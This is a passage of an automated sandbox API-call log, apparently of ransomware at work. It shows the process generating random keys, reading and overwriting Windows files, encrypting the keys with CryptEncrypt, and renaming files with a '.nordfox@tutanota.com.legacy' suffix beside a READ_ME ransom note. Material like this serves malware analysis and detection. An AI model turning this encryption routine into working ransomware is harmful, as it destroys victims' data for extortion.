lDistanceToMove=-118472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0093.279] WriteFile (in: hFile=0x470, lpBuffer=0x5a6e10*, nNumberOfBytesToWrite=0x1cec8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a6e10*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1cec8, lpOverlapped=0x0) returned 1 [0093.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0093.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a6e10 | out: hHeap=0x520000) returned 1 [0093.283] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1cec8 [0093.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0093.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0093.284] WriteFile (in: hFile=0x470, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0093.284] WriteFile (in: hFile=0x470, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0093.284] CloseHandle (hObject=0x470) returned 1 [0093.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0093.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0093.287] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\bootsect.exe" (normalized: "c:\\windows10upgrade\\bootsect.exe"), lpNewFileName="\\Windows10Upgrade\\bootsect.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\bootsect.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0093.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0093.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0093.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0093.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0093.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0093.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0093.289] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0093.289] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0093.289] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\appraiserxp.dll", dwFileAttributes=0x80) returned 1 [0093.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0093.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0093.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0093.290] CreateFileW (lpFileName="\\Windows10Upgrade\\appraiserxp.dll" (normalized: "c:\\windows10upgrade\\appraiserxp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0093.290] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=459976) returned 1 [0093.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x704c8) returned 0x2f20048 [0093.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x704c8) returned 0x2e20f20 [0093.294] ReadFile (in: hFile=0x470, lpBuffer=0x2f20048, nNumberOfBytesToRead=0x704c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesRead=0x2e1f9bc*=0x704c8, lpOverlapped=0x0) returned 1 [0093.428] SetFilePointer (in: hFile=0x470, lDistanceToMove=-459976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0093.428] WriteFile (in: hFile=0x470, lpBuffer=0x2e20f20*, nNumberOfBytesToWrite=0x704c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20f20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x704c8, lpOverlapped=0x0) returned 1 [0093.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0093.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0093.434] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x704c8 [0093.434] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0093.434] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0093.438] WriteFile (in: hFile=0x470, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0093.438] WriteFile (in: hFile=0x470, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0093.438] CloseHandle (hObject=0x470) returned 1 [0093.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0093.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0093.447] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\appraiserxp.dll" (normalized: "c:\\windows10upgrade\\appraiserxp.dll"), lpNewFileName="\\Windows10Upgrade\\appraiserxp.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\appraiserxp.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0093.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0093.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0093.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0093.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0093.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0093.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574cf8 | out: hHeap=0x520000) returned 1 [0093.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0093.454] FindFirstFileW (in: lpFileName="\\$GetCurrent\\Logs\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xb8bc0279, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x552d20 [0093.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0093.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0093.454] GetLastError () returned 0x0 [0093.454] SetLastError (dwErrCode=0x0) [0093.454] GetLastError () returned 0x0 [0093.454] SetLastError (dwErrCode=0x0) [0093.454] GetLastError () returned 0x0 [0093.454] SetLastError (dwErrCode=0x0) [0093.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670e0 [0093.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0093.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0093.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0093.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552e60 [0093.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552e60 | out: hHeap=0x520000) returned 1 [0093.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0093.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0093.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0093.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670e0 | out: hHeap=0x520000) returned 1 [0093.455] FindNextFileW (in: hFindFile=0x552d20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xb8bc0279, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0093.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0093.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0093.456] GetLastError () returned 0x0 [0093.456] SetLastError (dwErrCode=0x0) [0093.456] GetLastError () returned 0x0 [0093.456] SetLastError (dwErrCode=0x0) [0093.456] GetLastError () returned 0x0 [0093.456] SetLastError (dwErrCode=0x0) [0093.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0093.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0093.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0093.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0093.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5531a0 [0093.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5531a0 | out: hHeap=0x520000) returned 1 [0093.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20240 [0093.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20240 | out: hHeap=0x520000) returned 1 [0093.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0093.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0093.456] FindNextFileW (in: hFindFile=0x552d20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0093.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0093.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0093.456] GetLastError () returned 0x0 [0093.456] SetLastError (dwErrCode=0x0) [0093.456] GetLastError () returned 0x0 [0093.457] SetLastError (dwErrCode=0x0) [0093.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0093.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0093.457] GetLastError () returned 0x0 [0093.457] SetLastError (dwErrCode=0x0) [0093.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0093.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0093.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0093.457] FindNextFileW (in: hFindFile=0x552d20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0093.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0093.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0093.457] GetLastError () returned 0x0 [0093.457] SetLastError (dwErrCode=0x0) [0093.457] GetLastError () returned 0x0 [0093.457] SetLastError (dwErrCode=0x0) [0093.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0093.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0093.457] GetLastError () returned 0x0 [0093.457] SetLastError (dwErrCode=0x0) [0093.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0093.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0093.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0093.457] FindNextFileW (in: hFindFile=0x552d20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0093.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0093.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0093.457] GetLastError () returned 0x0 [0093.457] SetLastError (dwErrCode=0x0) [0093.457] GetLastError () returned 0x0 [0093.457] SetLastError (dwErrCode=0x0) [0093.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0093.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0093.458] GetLastError () returned 0x0 [0093.458] SetLastError (dwErrCode=0x0) [0093.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0093.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0093.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0093.458] FindNextFileW (in: hFindFile=0x552d20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bc0279, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8bc0279, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8bc0279, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0093.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0093.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0093.458] GetLastError () returned 0x0 [0093.458] SetLastError (dwErrCode=0x0) [0093.458] GetLastError () returned 0x0 [0093.458] SetLastError (dwErrCode=0x0) [0093.458] GetLastError () returned 0x0 [0093.458] SetLastError (dwErrCode=0x0) [0093.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0093.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0093.458] FindNextFileW (in: hFindFile=0x552d20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bc0279, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8bc0279, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8bc0279, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0093.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0093.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0093.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0093.458] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0093.458] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0093.458] SetFileAttributesW (lpFileName="\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", dwFileAttributes=0x80) returned 1 [0093.459] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0093.459] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e238 [0093.459] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0093.459] CreateFileW (lpFileName="\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x474 [0093.459] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=40) returned 1 [0093.459] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x28) returned 0x56ea00 [0093.459] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x28) returned 0x56ea90 [0093.459] ReadFile (in: hFile=0x474, lpBuffer=0x56ea00, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56ea00*, lpNumberOfBytesRead=0x2e1f9bc*=0x28, lpOverlapped=0x0) returned 1 [0093.460] SetFilePointer (in: hFile=0x474, lDistanceToMove=-40, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0093.460] WriteFile (in: hFile=0x474, lpBuffer=0x56ea90*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56ea90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x28, lpOverlapped=0x0) returned 1 [0093.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56ea00 | out: hHeap=0x520000) returned 1 [0093.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56ea90 | out: hHeap=0x520000) returned 1 [0093.461] SetFilePointer (in: hFile=0x474, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x28 [0093.461] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0093.461] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0093.461] WriteFile (in: hFile=0x474, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0093.461] WriteFile (in: hFile=0x474, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0093.461] CloseHandle (hObject=0x474) returned 1 [0093.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0093.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0093.462] MoveFileExW (lpExistingFileName="\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), lpNewFileName="\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0093.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e238 | out: hHeap=0x520000) returned 1 [0093.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0093.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0093.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0093.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0093.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0093.464] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0093.465] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0093.465] SetFileAttributesW (lpFileName="\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", dwFileAttributes=0x80) returned 1 [0093.465] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0093.465] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57edf0 [0093.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0093.466] CreateFileW (lpFileName="\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x474 [0093.466] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6004) returned 1 [0093.466] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1774) returned 0x58af48 [0093.466] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1774) returned 0x58c6c8 [0093.466] ReadFile (in: hFile=0x474, lpBuffer=0x58af48, nNumberOfBytesToRead=0x1774, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58af48*, lpNumberOfBytesRead=0x2e1f9bc*=0x1774, lpOverlapped=0x0) returned 1 [0093.505] SetFilePointer (in: hFile=0x474, lDistanceToMove=-6004, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0093.505] WriteFile (in: hFile=0x474, lpBuffer=0x58c6c8*, nNumberOfBytesToWrite=0x1774, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58c6c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1774, lpOverlapped=0x0) returned 1 [0093.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58af48 | out: hHeap=0x520000) returned 1 [0093.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58c6c8 | out: hHeap=0x520000) returned 1 [0093.505] SetFilePointer (in: hFile=0x474, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1774 [0093.505] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0093.505] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0093.506] WriteFile (in: hFile=0x474, 